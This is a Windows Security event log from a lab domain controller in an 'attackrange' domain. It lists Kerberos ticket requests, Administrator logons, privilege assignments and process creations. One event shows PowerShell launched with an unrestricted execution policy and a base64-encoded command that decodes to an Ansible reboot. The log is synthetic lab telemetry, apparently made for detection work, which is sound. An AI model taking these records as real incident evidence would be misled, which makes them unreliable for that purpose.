{00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253563 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253562 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253561 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD294 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1308 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253560 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD294 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253559 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD294 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253558 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD294 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253557 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253556 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253555 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253554 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD23D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253553 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD23D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253552 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD23D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253551 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253550 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253549 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253548 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BABE4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253547 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd74 - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12e8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\shutdown.exe" /r /t 2 /c "Reboot initiated by Ansible" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253546 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb58 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBzAGgAdQB0AGQAbwB3AG4AIAAvAHIAIAAvAHQAIAAyACAALwBjACAAIgBSAGUAYgBvAG8AdAAgAGkAbgBpAHQAaQBhAHQAZQBkACAAYgB5ACAAQQBuAHMAaQBiAGwAZQAiAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253579 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF044 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253578 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF044 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {62455CD1-82E4-B252-3993-C5AC3ABA6D83} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253577 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {62455CD1-82E4-B252-3993-C5AC3ABA6D83} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253576 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {62455CD1-82E4-B252-3993-C5AC3ABA6D83} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253575 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253574 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BDCFC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4616 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security State Change -OpCode=Info -RecordNumber=253601 -Keywords=Audit Success -Message=The system time was changed. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - Process ID: 0x4b8 - Name: C:\Windows\System32\svchost.exe - -Previous Time: ‎2021‎-‎03‎-‎01T12:43:58.903679700Z -New Time: ‎2021‎-‎03‎-‎01T12:43:58.899000000Z - -This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253600 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BFF60 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253599 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BFF60 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network 